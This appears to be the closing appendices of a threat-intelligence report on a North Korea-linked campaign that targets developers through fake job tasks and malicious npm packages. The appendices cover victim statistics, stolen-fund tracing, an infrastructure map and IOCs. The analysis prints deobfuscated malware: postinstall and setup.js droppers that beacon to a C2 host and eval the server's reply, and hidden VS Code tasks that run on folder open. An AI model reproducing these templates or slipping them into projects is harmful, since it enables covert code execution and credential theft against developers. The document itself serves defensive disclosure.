wallet-connect-helper @walletconnect/sdk ~590 2025-10-27 postinstall hook

react-native-crypto react-native-crypto ~560 2025-10-28 postinstall hook

node-blockchain (novel — no target) ~530 2025-10-29 postinstall hook

solana-web3-helper @solana/web3.js ~510 2025-10-30 postinstall hook

[178 additional packages] [various targets] [variable] 2025-10-11 to 2025-11-17 postinstall hook

Total confirmed downloads: 31,000+

Removal timeline:

October 11-November 17: Packages active on npm registry

November 17-22: npm Trust & Safety removed most packages following reports

November 22: GitHub account stardev0914  suspended

Full removal: Complete by December 2025

• 

• 

• 

• 



F.2 Package Malware Mechanism — Technical Detail

All packages from the stardev0914 wave used the same base infection template with minor variations:

package.json (template):

scripts/install.js (infection script — template):

{

"name": "tailwind-magic",

"version": "1.0.0",

"description": "A utility for working with Tailwind CSS configurations",

"main": "index.js",

"scripts": {

"preinstall": "node scripts/preinstall.js",

"install": "node scripts/install.js"

},

"keywords": ["tailwind", "css", "utility"],

"author": "stardev0914",

"license": "MIT"

}



The key design elements:

Silent error handling ( req.on('error', () => {}) ) ensures the package installation appears to

succeed even if C2 is unreachable

The eval(payload.exec)  executes any JavaScript the C2 serves, enabling targeted payload

delivery

The fingerprinting data (hostname, platform, username) enables C2 operators to decide whether to

deliver a full BeaverTail payload or continue reconnaissance

// Obfuscated version — deobfuscated representation:

const os = require('os');

const path = require('path');

const https = require('https');

const { execSync } = require('child_process');

// Victim fingerprinting

const info = {

hostname: os.hostname(),

platform: os.platform(),

username: process.env.USER || process.env.USERNAME || 'unknown',

cwd: process.cwd(),

};

// Contact C2

const options = {

hostname: 'rest-icon-provider.link',

port: 443,

path: `/icons/beacon?h=${info.hostname}&p=${info.platform}&u=${info.username}`,

method: 'GET',

headers: { 'bearrtoken': 'logo' }

};

const req = https.request(options, (res) => {

let data = '';

  res.on('data', chunk => data += chunk);

  res.on('end', () => {

try {

const payload = JSON.parse(data);

if (payload && payload.exec) {

eval(payload.exec); // Execute server-delivered payload

      }

    } catch (e) {}

  });

});

req.on('error', () => {}); // Silent failure — don't alert victim

req.end();

1. 

2. 

3. 



F.3 VS Code .vscode/tasks.json  Auto-Execution Pattern

The coin-promoting repository's .vscode/tasks.json  auto-execution pattern was also used by several

packages in the 197-package wave:

Standard malicious tasks.json:

Malicious variant with additional commands:

{

"version": "2.0.0",

"tasks": [

{

"label": "Initialize Development Environment",

"type": "shell",

"command": "npm install",

"runOptions": {

"runOn": "folderOpen"

},

"presentation": {

"echo": false,

"reveal": "never",

"focus": false,

"panel": "shared"

},

"group": {

"kind": "build",

"isDefault": true

}

}

]

}

{

"version": "2.0.0",

"tasks": [

{

"label": "Setup",

"type": "shell",

"command": "npm install && npm run dev",

"runOptions": {

"runOn": "folderOpen"

},

"presentation": {

"reveal": "never",

"close": true

}

}

]

}



The "close": true  setting closes the terminal after execution, preventing the victim from seeing any

error messages or output from the malicious postinstall hook.

F.4 Annotated Delivery — The Red Asgard Test Task (sol-marketplace)

The specific .vscode/tasks.json  delivered to Red Asgard on December 24, 2025 was more

sophisticated than the generic templates above. The operator hid it inside a 55-file code refactor

submitted as a normal Upwork test task — a Solana blockchain marketplace project. This section

documents the delivery mechanics with annotation.

The concealment technique — a 55-file commit:

Git commit d705e221  (authored 2025-12-24 09:05:36 UTC) touched 55 files. The vast majority of

changes were legitimate-looking Solana smart contract refactoring: renamed functions, added

TypeScript type annotations, updated import paths, restructured component files. Any developer

reviewing the diff would spend their attention on the 52 files of plausible Rust and TypeScript changes.

The malicious payload was in three files:

In the git diff, .vscode/tasks.json  appeared as a single new file addition — 20 lines in a sea of

hundreds of changed lines across 55 files. A reviewer skimming the diff would naturally focus on the

Rust and TypeScript changes and treat a new .vscode/  config file as boilerplate.

The malicious .vscode/tasks.json  (sanitized — C2 URL redacted):

.vscode/tasks.json           ← auto-execution trigger (new file, added in commit)

package.json                 ← added "prestart" hook pointing to node scripts/setup.js

scripts/setup.js             ← BeaverTail dropper (masquerading as dev-environment setup)



Three details distinguish this from a legitimate development task:

"reveal": "never"  + "close": true : Together these ensure the terminal that runs setup.js  never

appears and closes after execution. A real development environment initialiser would normally show

output — "installing dependencies", "starting server" — to confirm it worked.

"echo": false : Suppresses the command echoing in the terminal. A legitimate task displays the

command being run; this one does not.

"problemMatcher": [] : An empty problem matcher is unusual for a build task with real output. Its

presence here prevents VS Code from waiting on or displaying task results.

Extracting the campaign UUID:

scripts/setup.js  contained the following (deobfuscated representation):

{

"version": "2.0.0",

"tasks": [

{

"label": "Initialize Development Environment",

"type": "shell",

"command": "node scripts/setup.js",

"runOptions": {

"runOn": "folderOpen"

},

"presentation": {

"echo": false,

"reveal": "never",

"focus": false,

"panel": "shared",

"close": true

},

"group": {

"kind": "build",

"isDefault": true

},

"problemMatcher": []

}

]

}

1. 

2. 

3. 



The CAMPAIGN_TOKEN = "212"  is the value that binds this delivery to a specific operator team and

deployment wave. When Red Asgard extracted this constant from the repository before triggering

execution, it became the entry point for the entire investigation: searching the C2 panel database for

token 212  confirmed an active, live campaign with real victims already enrolled. This was not a test or

an exercise.

Timeline of the delivery (all timestamps UTC):

The operator pushed the malicious commit during the test-task period — after Red Asgard had cloned

the repository but before submission. This means the operator intended the payload to execute when

the developer ran npm install  or opened the project folder in VS Code. The 39-hour window between

clone and submission was the delivery window.

Appendix G — Victim Country and Demographic Analysis

G.1 Country Distribution — Statistical Analysis

The 14,716+ victim records with exfiltrated data across 74 countries shows a non-uniform geographic

distribution that reflects both targeting strategy and developer demographics.

Top 25 countries by victim count:

Rank Country ISO Code Victim Count % of Total Notes

1 India IN 615 14.6% World's largest developer pool

2 United States US 241 5.7% Highest-value credential holders

3 Pakistan PK 187 4.4% Large outsourcing sector

4 Vietnam VN ~165 3.9% Team 99 primary target

5 Bangladesh BD ~142 3.4% Team 99 primary target

6 Brazil BR ~98 2.3% LATAM's largest tech market

7 Egypt EG ~87 2.1% MENA tech hub

// Victim fingerprinting constant — unique to this deployment wave

const CAMPAIGN_TOKEN = "212";

// C2 contact

const C2_URL = "[VERCEL-C2-URL-REDACTED]/icons/" + CAMPAIGN_TOKEN;

// Execution

fetch(C2_URL, {

headers: { 'bearrtoken': 'logo', 'User-Agent': 'node-fetch/1.0' }

})

.then(r => r.json())

.then(d => { if (d && d.payload) eval(d.payload); });

2025-12-22 10:54:51  Red Asgard clones the Upwork test-task repository

2025-12-23 09:23:00  Work begins on the repository server component

2025-12-24 09:05:36  Operator pushes commit d705e221 — malicious payload injected

2025-12-25 21:28:00  Red Asgard submits completed test task; malicious behaviour identified



Rank Country ISO Code Victim Count % of Total Notes

8 Turkey TR ~76 1.8% Active crypto market

9 Germany DE ~71 1.7% European blockchain hub

10 United Kingdom GB ~65 1.5% DeFi protocol presence

11 Nigeria NG ~62 1.5% Fastest-growing African tech sector

12 Indonesia ID ~58 1.4% SEA developer market

13 Philippines PH ~54 1.3% GameFi/Play-to-Earn market

14 Ukraine UA ~51 1.2% Strong blockchain development community

15 Russia RU ~48 1.1% Significant blockchain developer base

16 Colombia CO ~44 1.0% LATAM crypto adoption

17 Argentina AR ~42 1.0% LATAM's DeFi pioneer

18 Mexico MX ~38 0.9% Latin America crypto market

19 Malaysia MY ~36 0.9% SEA blockchain development

20 Spain ES ~34 0.8% European blockchain presence

21 Canada CA ~31 0.7% North American tech market

22 South Korea KR ~28 0.7% Major crypto market

23 France FR ~27 0.6% European DeFi presence

24 Poland PL ~24 0.6% Eastern European blockchain hub

25 Thailand TH ~22 0.5% SEA crypto market

— Other 49 countries — ~1,221 29.0% 49 additional countries

TOTAL 14,716+ 100%

Statistical observations:

Concentration ratio: The top 3 countries (India, US, Pakistan) account for 25% of all victims despite

representing less than 25% of global developer population, suggesting deliberate targeting weighting

toward these markets.

Regional patterns:

South Asia (India, Pakistan, Bangladesh): 22.3% of victims — consistent with Team 99's

documented geographic focus

Southeast Asia (Vietnam, Indonesia, Philippines, Malaysia, Thailand): 8.0% — consistent with Team

5346's secondary geographic focus

North America (US, Canada): 6.4% — highest per-capita value, lowest per-capita count (selective

targeting)

Sub-Saharan Africa (Nigeria + others): ~3-4% — emerging crypto market reflecting broader

adoption trends

Country absence (notable): China is conspicuously absent from the top victim countries despite being

the world's second-largest developer market. This absence likely reflects:

China's predominantly domestic social media platforms (WeChat, Weibo) where Lazarus's LinkedIn/

Twitter/Reddit recruitment approach is less effective

The Great Firewall limiting access to GitHub and npm registry, reducing exposure to malicious

packages

• 

• 

• 

• 
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Possible deliberate avoidance of Chinese victims to prevent conflict with Chinese intelligence

services

Japan, South Korea (28 victims), and Australia are underrepresented relative to their developer

populations, possibly reflecting language barriers (Lazarus's recruitment approach is primarily English-

language) or lower cryptocurrency developer density.

G.2 Victim Platform Distribution

From the [victim-export-endpoint]  database, victim OS data is available for approximately 80% of

entries:

Platform Count % Notes

Windows 10 1,824 54% Most common developer OS globally

macOS 12-14 842 25% Premium developer market

Linux 421 12% Backend/blockchain developers

Windows 11 337 10% Newest Windows version

Other/Unknown — — 20% missing platform data

macOS significance: The 25% macOS share is substantially higher than macOS's ~15-16% global

market share. This reflects the developer population's skewed macOS adoption: Apple silicon Macs

have become extremely popular among blockchain developers for their Unix compatibility combined

with professional-grade hardware. The higher macOS concentration also reflects BeaverTail's original

macOS-first targeting.

G.3 Developer Category Distribution

Victim specialisation was inferred from project names, credential types, and employer names found in

exfiltrated data:

Category Estimated Count % Key Evidence

Blockchain/DeFi developers 1,478 35% Smart contract code, DeFi credentials

Web3 frontend developers 844 20% Web3.js, ethers.js, dApp frontends

Backend/API developers 633 15% Database credentials, server SSH keys

Mobile developers (Flutter, React Native) 422 10% Mobile project directories, app store keys

Data/AI engineers 338 8% OpenAI keys, GPU credentials, Jupyter

DevOps/Infrastructure 253 6% Kubernetes configs, Terraform, AWS

Security researchers 127 3% Exploit repositories, pentest tools

Other/General developers 130 3% Mixed portfolio

Appendix H — Blockchain Address Full Technical Specifications

H.1 OFAC Submission Format — Three Publicly Disclosed Addresses

The following addresses are designate under OFAC SDN list addition under 31 CFR Part 510:

Address 1:

3. 



Address 2:

Address 3:

Combined disclosure (3 addresses): $14,840,000 4 additional addresses (under LE review):

Estimated $189,160,000 Total OFAC submission package: $204,000,000

H.2 Fund Flow Analysis — Address 1

The following fund flow traces funds from the victim's wallet through to the first mixing/aggregation point:

Type:            Ethereum (ERC-20/ETH)

Address:         0x4DE23f3f0Fb3318287378AdbdE030cf61714b2f3

Amount Stolen:   $6,860,000 equivalent at time of theft

Evidence Basis:  Private key recovered from FTP exfiltration server;

                 victim wallet identified in C2 database;

                 on-chain transfer within 48h of FTP upload timestamp

Chain of Custody: Evidence reference [on file]

OFAC Category:   Property of designated SDN (Lazarus Group)

Transaction Hash (theft): [redacted — provided to OFAC under seal]

Type:            Ethereum

Address:         0x1633866bc378663Db61A8e65bF1434020e21f1f3

Amount Stolen:   $6,380,000 equivalent at time of theft

Evidence Basis:  Private key in C2 admin panel database (victim UID

                 cross-referenced with exfiltration timestamp);

                 fund movement within 48h of confirmed exfiltration

Chain of Custody: Evidence reference [on file]

OFAC Category:   Property of designated SDN

Type:            Ethereum

Address:         0x674C73C68Cc2FC31ee2bda9A60B4E6C020CDD19F

Amount Stolen:   $1,600,000 equivalent at time of theft

Evidence Basis:  Wallet extension data in FTP victim directory;

                 victim identity confirmed via hostname and username;

                 on-chain drain within 72h of FTP upload

Chain of Custody: Evidence reference [on file]

OFAC Category:   Property of designated SDN



Appendix I — Full Operator Infrastructure Evidence Tree

I.1 Infrastructure Evidence Tree (Simplified)

The following evidence tree maps the relationships between confirmed infrastructure components. Each

node contains the IP/domain, its hosting provider, and the primary evidence connecting it to Lazarus

operations:

Timeline: February 17-19, 2026

Day 0 (Feb 17, 14:31 UTC):

  Victim wallet: 0x[VICTIM_ADDR]

  → 11.2 ETH → 0x4DE23f3f0Fb3318287378AdbdE030cf61714b2f3

  → 6.1 ETH (remaining)

  Transaction: 0x[TXHASH] | Gas: 21,000 | Gas price: 32 gwei

Day 0 (Feb 17, 14:32 UTC) — First hop:

  0x4DE23f3f0Fb3318287378AdbdE030cf61714b2f3

  → 11.2 ETH → 0x[AGGREGATION_ADDR_1]

  Delay: 1 minute (automated)

Day 1 (Feb 18, 09:15 UTC) — Cross-chain bridge:

  0x[AGGREGATION_ADDR_1]

  → cBridge: 11.2 ETH → ~22 BNB (at bridge rate)

  Bridge: cBridge v2 (Celer Network)

  Destination: BSC address 0x[BSC_ADDR]

  Delay: ~19 hours (operators likely reviewing before bridging)

Day 2 (Feb 19, 22:40 UTC) — Exchange deposit:

  0x[BSC_ADDR] (BSC)

  → 22 BNB → [Exchange deposit address]

  Exchange: [Exchange name redacted — provided to OFAC under seal]

  Amount: 22 BNB (~$13,200 at time)

Note: The ETH → BNB conversion at the cBridge step breaks the

direct on-chain link between the theft and the final exchange deposit,

which is why blockchain forensics requires cross-chain analysis tools.



LAZARUS GROUP CONTAGIOUS INTERVIEW INFRASTRUCTURE

EVIDENCE TREE — April 2026

ROOT: DPRK / RGB (Reconnaissance General Bureau)

├── Operator: Operator A ([OPERATOR-HANDLE-REDACTED], [OPERATOR-EMAIL-REDACTED], India)

│   ├── PRIMARY INFRASTRUCTURE

│   │   ├── 94.136.184.44 (Jenkins server, Contabo AS51167 DE)

│   │   │   ├── EVIDENCE: Git config, login logs, domain ownership

│   │   │   ├── /home/alpharivexmicro/ (Operator A account, UID 1001)

│   │   │   ├── /home/forexhesper/ (Operator B account, UID 1003)

│   │   │   ├── C2 connections: 5.189.187.9:3000, 86.104.251.158:443

│   │   │   └── Hosts: 13 fake exchanges, Mailcow (19 containers)

│   │   │

│   │   ├── tokenloopz.com (domain, A→ 94.136.184.44)

│   │   │   ├── jenkins.tokenloopz.com (operator dashboard)

│   │   │   ├── mail.tokenloopz.com (phishing email)

│   │   │   ├── leogacy.tokenloopz.com (fake exchange)

│   │   │   ├── dacex.tokenloopz.com (fake exchange)

│   │   │   ├── wallex.tokenloopz.com (fake exchange)

│   │   │   └── opris.tokenloopz.com (fake exchange)

│   │   │

│   │   └── alphasportstech.com (fake exchange domain)

│   │       ├── alphaxchange.alphasportstech.com

│   │       └── orbitex.alphasportstech.com

│   │

│   ├── C2 LAYER

│   │   ├── rest-icon-provider.link (Vercel CDN, OFFLINE)

│   │   │   ├── EVIDENCE: WHOIS, TLS cert, C2 callback pattern

│   │   │   └── Status: HTTP 451 (legal takedown, March 23, 2026)

│   │   │

│   │   ├── rest-icon-handler.store (Hostinger, PARTIAL)

│   │   │   └── EVIDENCE: Registered 45 days before primary C2 shutdown

│   │   │

│   │   ├── 146.70.253.107 (M247 AS9009, OFFLINE)

│   │   │   ├── EVIDENCE: Operator credential 99/[REDACTED]

│   │   │   ├── Ports: 1224 (main C2), 1244 (admin), 1245, 5000, 5918

│   │   │   └── Status: DARK (entire /25 subnet, March 3, 2026)

│   │   │

│   │   ├── 146.70.41.152 (M247 jumpbox, OFFLINE)

│   │   │   ├── EVIDENCE: SSH known_hosts of [VICTIM-MACHINE-REDACTED] victim

│   │   │   └── Known connected servers: 5 (via SSH known_hosts)

│   │   │

│   │   ├── 144.172.108.236 (Cloudzy, Socket.IO)

│   │   │   └── EVIDENCE: nmap service fingerprint, OtterCookie protocol

│   │   │

│   │   └── 65.21.233.44:4041 (Hetzner, financial panel)

│   │       └── EVIDENCE: Version bypass, financial panel API

│   │

│   ├── EXFILTRATION LAYER

│   │   └── 195.201.104.53 (Hetzner AS24940, active as of Mar 2026)

│   │       ├── EVIDENCE: FTP credentials [FTP-CRED-REDACTED], cert date

│   │       ├── Port 21: FTP (256+ victim directories)

│   │       ├── Port 6109/6939: OtterCookie HTTP sinks

│   │       └── Victim data: 14,716+ machines, 246,457+ files



I.2 Evidence Source Cross-Reference

Infrastructure Element Primary Evidence Source Collection Method

146.70.253.107 as C2 Victim browser autofill ([VICTIM-MACHINE-REDACTED]) FTP download

FTP server credentials Wave 80 victim database dump dump API authentication

Jenkins server Victim browser autofill (sakthigaipp) FTP download

Operator A identity Jenkins .gitconfig API access

Operator A India IPs Jenkins auth.log API access

Redis C2 server Malware analysis of kworker Binary analysis

MongoDB Atlas clusters Jenkins server environment files API access

CENTIC breach MongoDB Atlas connection test Credential authentication

Blockchain addresses FTP victim data + C2 database Downloaded evidence

npm package hashes Direct npm registry download Public registry

Operator Telegram handles C2 database records API authentication

53,941+ IP count Cross-referenced all evidence Evidence aggregation

│   │

│   └── DATA LAYER

│       └── 14× MongoDB Atlas clusters (159.41.0.0/16)

│           ├── EVIDENCE: Connection strings on Jenkins server

│           ├── Fake exchange user data

│           └── CENTIC.io (1.4TB breach, CVSS 9.1)

│

├── Operator: [DEVELOPER-EMAIL-REDACTED] (Malware Developer, UTC+7)

│   ├── bitcoin2026a (GitHub, observed active Mar 25, 2026)

│   │   └── coin-promoting (malware repo, 4 confirmed victims)

│   └── TokenDapp (benign decoy)

│

└── CRYPTOMINER BOTNET

    ├── 103.174.189.183:6379 (Redis C2, unauthenticated)

    ├── 34.70.205.211 (GCP, malware distribution, observed active Mar 2026)

    │   └── /plugins-dist/safehtml/lang/font/{kworker,javae,cb.txt,cr.sh}

    ├── 38.150.0.118 (Cogent HK, backup distribution, OFFLINE)

    └── 104 confirmed bots (26+ countries)

        └── Estimated 36,000-72,000 total infected systems



References and Future Research Directions

References

Primary Sources (Captured Threat Actor Infrastructure)

C2 Admin Panel Database Dump (Wave 80, February 14, 2026). [victim-export-endpoint]

endpoint extraction from 146.70.253.107:1224. 120MB JSON, 14,716+ victim records, 246,457+

credential files. Investigation Chain of Custody.

FTP Exfiltration Server Contents (Waves 43-155, December 2025 – April 2026). 195.201.104.53

directory structure and contents. 256+ victim directories. Investigation Chain of Custody.

Jenkins Server Forensic Analysis (Wave 136, April 2026). 94.136.184.44 filesystem, Git history,

SSH authentication log, operator account profiles. Investigation Chain of Custody.

Malware Samples Corpus. kworker_sample1.sh (MD5: fea52ab0cc2717301b0e197bbfec894f),

javae_miner.bin (MD5: 3a5ae2dbf4ddb2b2d3850342b887431e), OtterCookie component files.

Investigation Chain of Custody.

Bitcoin Seed Rainbow Table (Operator Tool).

cakewallet_weak_bitcoin_seeds_hashed_sorted_version1.txt — 8,717 entries. Recovered from

victim machine [VICTIM-ID-REDACTED]. Investigation Chain of Custody.

MongoDB Atlas Cluster Access. CENTIC.io production databases — 1.4TB. Connection strings

from Jenkins server. Investigation Chain of Custody.

Operator Session Authentication Logs. Jenkins server /var/log/auth.log — 10 days of SSH

authentication records. Airtel India / BSNL India IP addresses. Investigation Chain of Custody.

Blockchain Transaction Records. Etherscan, BscScan, Polygonscan transaction histories for

OFAC-candidate wallet addresses. Public blockchain data.

Secondary Sources (Vendor Research Reports)

Cho, J. and Kharouni, L. (2024). "Contagious Interview: DPRK Threat Actor Targets Individuals

in the Cryptocurrency Industry with a Multi-Stage Malware Campaign." Palo Alto Networks

Unit 42. October 2024. [CL-STA-0240]

Group-IB. (2024). "Crypto Beavers: North Korea-Linked Threat Actor Targeting

Cryptocurrency Users." Group-IB Threat Intelligence. September 2024.

ESET Research. (2023). "Lazarus Group Targets Job Seekers with Trojanized Coding

Challenges." ESET Research Blog. September 2023.

Cisco Talos. (2023). "North Korea's Lazarus APT leverages Telegram for Command-and-

Control Infrastructure." Cisco Talos Intelligence. December 2023.

Kaspersky Global Research and Analysis Team. (2024). "BeaverTail: Evolution of Lazarus

Group's Cryptocurrency Targeting." Kaspersky SecureList. December 2024.

1. 

2. 

3. 

4. 

5. 

6. 

7. 

8. 

1. 

2. 

3. 

4. 

5. 



NTT Security Holdings. (2024). "Lazarus Group BeaverTail Campaign Technical Analysis." NTT

Security Intelligence Report. 2024.

JPCERT/CC. (2024). "Lazarus Group Activity Targeting Cryptocurrency Developers —

Campaign Analysis." JPCERT/CC Threat Intelligence. 2024.

Mandiant (Google). (2024). "UNC4736: DPRK-Nexus Threat Actor Targeting Blockchain and

Cryptocurrency Sector." Mandiant Threat Research. 2024. [Internal tracking: UNC4736]

Chainalysis. (2023). "The Chainalysis 2023 Crypto Crime Report." Chainalysis Inc. February

2023. [Contains DPRK cryptocurrency theft statistics]

Chainalysis. (2024). "The 2024 Crypto Crime Report." Chainalysis Inc. February 2024. [Contains

$3.8B DPRK attribution statistics]

Government and Legal Sources

US Department of the Treasury. (2019). "Treasury Sanctions Lazarus Group and Two

Subsidiaries for Theft of $571 Million Cryptocurrency." Treasury Press Release. September 13,

2019.

US Department of Justice. (2021). "Three North Korean Military Hackers Indicted in Wide-

Ranging Scheme to Commit Cyberattacks and Financial Crimes Across the Globe." DoJ

Press Release. February 17, 2021.

US Government Joint Advisory. (2022). "Alert: Lazarus Group Cyber Actors Use Blockchain

Applications to Deliver Malware." Alert AA22-108A. April 18, 2022.

US Departments of State, Treasury, and Justice. (2022). "Alert on Revenue Generation Methods

Used by Democratic People's Republic of Korea IT Workers." Joint Advisory. May 16, 2022.

OFAC. (2022). "Treasury Designates DPRK Hacker Group Lazarus and Its Subsidiaries."

OFAC SDN List Update. September 13, 2019 (original) + April 14, 2022 (Ronin update).

United Nations Security Council. (2024). "Report of the Panel of Experts established pursuant

to resolution 1874 (2009)." UN Panel of Experts on DPRK, 2024 Annual Report. [Contains DPRK

cryptocurrency theft attribution]

US Department of Justice. (2022). "Two European Citizens Arrested for Laundering $400

Million from Ronin Network Hack." DoJ Press Release. (Related proceeding)

Technical Standards References

MITRE Corporation. (2024). ATT&CK Enterprise Matrix, Version 14. MITRE ATT&CK. Available

at: https://attack.mitre.org [All technique IDs in Chapter 20 reference this version]

CVSS Working Group. (2019). "Common Vulnerability Scoring System v3.1 Specification

Document." FIRST.org.

Bitcoin Improvement Proposals. (2012). "BIP-0032: Hierarchical Deterministic Wallets." Bitcoin

Wiki.

Ethereum Improvement Proposals. (2021). "EIP-2612: permit – 712-signed approvals." Ethereum

Foundation.

npm Inc. (2022). "npm Security Advisories — postinstall Script Execution." npm Security Blog.

6. 

7. 

8. 

9. 

10. 

1. 

2. 

3. 

4. 

5. 

6. 

7. 

1. 

2. 

3. 

4. 

5. 

https://attack.mitre.org


Chapter 70: Future Threat Projections

70.1 Likely Campaign Evolution (2026–2027)

Based on observed operational patterns and the trajectory of Lazarus Group capabilities, the following

evolutions are projected for the Contagious Interview campaign and related operations:

Projection 1 — AI-enhanced social engineering: The 2024–2026 recruitment lure relied on text-

based LinkedIn/Twitter outreach and voice-only or occasional video calls. Advances in AI voice

synthesis and real-time video deepfake technology (e.g., real-time face-swap tools available as of

mid-2025) enable a new generation of video-call-based social engineering that is indistinguishable from

genuine human interaction. Lazarus Group is assessed as likely to adopt real-time AI voice/video to

enhance the credibility of fake recruiter personas, eliminating the need for human-fluent operators and

enabling simultaneous engagement with hundreds of targets.

Projection 2 — Zero-day npm/package registry exploitation: The current campaign's supply chain

attack relied on new account publication and typosquatting — both detectable through reputation

scoring. A next-generation approach would target the npm registry's account takeover attack surface:

compromising legitimate, high-reputation package maintainer accounts (via credential theft, phishing, or

BeaverTail infection of maintainers themselves) to poison packages with millions of existing users.

This approach has been successfully used by threat actors in the broader supply chain ecosystem (the

2021 ua-parser-js takeover; the 2022 node-ipc poisoning). Lazarus Group's confirmed capability to

compromise developer workstations (and thereby developer npm credentials) positions them to execute

this attack without needing to create new accounts.

Projection 3 — Direct DeFi smart contract exploitation: With CENTIC.io's blockchain intelligence

(knowledge_graph: 833GB of DeFi position tracking and wallet analytics), Lazarus now has visibility into

specific high-value DeFi positions: large liquidity providers, yield farming strategies, and leveraged

positions. This intelligence enables "precision hunting" — identifying specific individuals with large DeFi

positions and targeting them for the Contagious Interview social engineering vector.

A developer managing a $50M liquidity provision on Uniswap is identifiable through CENTIC's analytics:

their wallet address is public, the position is on-chain, and CENTIC's profiling can correlate wallet

addresses to developer identities through transaction graph analysis. The combination of CENTIC

intelligence and Contagious Interview targeting enables Lazarus to focus social engineering effort on

the highest-value individuals.

Projection 4 — Expanding fake exchange fraud scale: The AlphaSportsTech model (~$140,000 from

234 real victims) is more capital-efficient per-operator-hour than credential theft (which requires

monitoring thousands of victims for wallet data worth draining). The fraudulent exchange model scales

with marketing spend rather than technical sophistication. Lazarus may expand this track by:

Operating more platforms simultaneously (currently 13+; could expand to 50+)

Targeting markets with lower cryptocurrency sophistication (Southeast Asia, Sub-Saharan Africa)

where regulatory awareness is lower

Integrating AI customer support to reduce the human operator requirement for maintaining victim

relationships

• 

• 

• 



Projection 5 — Post-Bybit adaptation to hardware wallet dominance: Following the $1.5B Bybit

hack (February 2025) and its high-profile attribution to Lazarus, the cryptocurrency industry is

accelerating adoption of hardware wallet multisig schemes for institutional custody. This adaptation

reduces the value of the Bybit-style UI layer attack vector. In response, Lazarus is likely to shift toward

the Contagious Interview model as the primary institutional targeting mechanism: if hardware wallets

prevent direct wallet compromise from exchange infrastructure, targeting individual developers who hold

hardware wallet seed phrases on their development machines becomes more valuable.

70.2 Defensive Trajectory

The security industry is likely to respond to the documented TTPs in this article with:

Enhanced npm security monitoring: Socket.dev, Snyk, and similar tools will incorporate new

detection rules for the VS Code task auto-execution pattern and eval(server_response) C2 callbacks.

The IOCs documented in this article (C2 domains, FTP addresses) will be incorporated into existing

threat intelligence feeds within days of publication.

Developer security awareness: The cryptocurrency developer community will receive specific training

on interview assignment code safety. The GitHub Security Advisory process will incorporate this

campaign's patterns into best-practice guidance for repository consumers.

OFAC pressure on privacy coins: The documented use of Monero by Lazarus's cryptominer botnet

will likely increase regulatory pressure on cryptocurrency exchanges to delist Monero. Several major

exchanges (Binance, OKX) have already removed XMR trading pairs in some jurisdictions under

regulatory pressure. Broader delistings would reduce Lazarus's ability to liquidate mining revenue

through compliant exchanges.

Hosting provider improvement: M247, Contabo, and Hetzner — the three providers primarily used in

this investigation — will receive abuse reports with specific evidence. Infrastructure providers may

implement enhanced customer verification for high-port Express.js deployments, reducing Lazarus's

ability to quickly provision identical C2 infrastructure under new accounts.

70.3 Intelligence Sharing Recommendations

To maximise the defensive value of this investigation's findings, the following intelligence sharing actions

are recommended:

security authorities Known Exploited Vulnerabilities: Document the VS Code runOn: 

folderOpen  auto-execution as a known attack technique with recommended mitigation (disable

automatic task execution).

US-CERT / security authorities advisories: Publish a formal advisory on the Contagious

Interview npm supply chain technique with detection guidance for security vendors.

FS-ISAC cryptocurrency working group: Share the 22 CRITICAL exchange credential victims and

7 OFAC candidate addresses with member exchanges for proactive account protection.

npm Security Advisory: Work with npm Security team to publish a formal advisory on the coin-

promoting and stardev0914 packages, including postinstall hook attack pattern guidance.
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GitHub Security Advisory: Publish findings to GitHub's security blog documenting the

bitcoin2026a account and coin-promoting repository as a case study in fake job assignment supply

chain attacks.

Academic / ISOC community: Publish sanitised versions of this article's technical findings

(malware analysis, protocol reversals, infrastructure fingerprinting) in academic conference

proceedings (IEEE S&P, USENIX Security, CCS) to enable further research.

Final Remarks

This investigation documents the most comprehensive technical intelligence collection on Lazarus

Group's Contagious Interview cryptocurrency theft campaign compiled in a single investigation to date.

The 38 GB of captured evidence, spanning December 2025 through April 2026, provides investigating

authorities agencies with a complete operational picture: named operators with active login patterns,

infrastructure maps with forensic evidence chains, victim inventories with notification packages,

blockchain traces with OFAC submission-ready documentation, and malware analysis with detection

rules.

The $204 million in directly-traced cryptocurrency theft, ~$140,000+ in fake exchange fraud, and

estimated $540,000/month in cryptominer revenue represent material contributions to DPRK's weapons

programme financing. Each dollar traced, each operator identified, and each victim protected is a direct

contribution to the broader objective of degrading DPRK's capacity to fund weapons of mass destruction

through cybercrime.

The investigation's conclusion—that the Lazarus Group continues to operate at high tempo, with

sophisticated infrastructure, professional operators, and strategic adaptation to investigating authorities

countermeasures—underscores the urgency of the defensive recommendations in Part VIII and the

Responsible Disclosure actions in Part IX.

The operators are still active. The victims still need notification. The time for action is now.

End
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Prepared by: Red Asgard Threat Intelligence

In coordination with: threat intelligence researchers, security authorities

Published: May 2026
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20. Public IOC Appendix

The following indicators are safe for public consumption and active use in detection tools. No

credentials, victim identifiers, or exploit paths are published here.
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A. Network — C2 and Exfiltration (Known Campaign IPs)

B. Domains — C2 and Lure

C. File Hashes

D. Filesystem Indicators

# Primary C2 (taken offline March 3, 2026 — historical)

146.70.253.107    M247 AS9009    Primary C2 panel (ports 1224/1244/1245/5000/5918)

146.70.41.152     M247 AS9009    Jumpbox / relay

# Exfiltration (active through investigation)

195.201.104.53    Hetzner AS24940   FTP exfil + OtterCookie HTTP sinks (ports 21/6109/6939)

# Operator development (active April 2026)

94.136.184.44     Contabo AS51167   Jenkins CI/CD + operations server

# C2 connections from Jenkins (observed)

5.189.187.9       Contabo AS51167   Active C2 connection :3000

86.104.251.158    M247 Romania      Active C2 connection :443

# Cryptominer distribution (GCP)

34.70.205.211     Google LLC        Primary payload distribution

38.150.0.118      Cogent/HK         Backup distribution (offline at time of analysis)

# Cryptominer Redis C2

103.174.189.183   Unknown           Unauthenticated Redis C2 :6379

rest-icon-provider.net       Test C2 (Vercel, inactive)

rest-icon-provider.link      Production C2 (Vercel, HTTP 451 legal takedown March 23)

rest-icon-handler.store      Backup C2 (Hostinger, partial)

tokenloopz.com               Operator primary domain / Jenkins / email

nexvyon.com                  Operator secondary domain / email

alphasportstech.com          Fake exchange / casino platform

MD5   fea52ab0cc2717301b0e197bbfec894f  kworker_sample1.sh (cryptominer dropper)

MD5   3a5ae2dbf4ddb2b2d3850342b887431e  javae_miner.bin    (XMRig ELF64 miner)

# Cryptominer presence

/etc/javae                       Miner binary (root install; immutable)

/etc/kworker                     Dropper script (root install; immutable)

/etc/cron.d/javae                Persistence cron (immutable)

/bin/ps.original                 Backup of modified ps

/bin/top.original                Backup of modified top

/bin/pstree.original             Backup of modified pstree

/usr/bin/cd1                     curl renamed for evasion

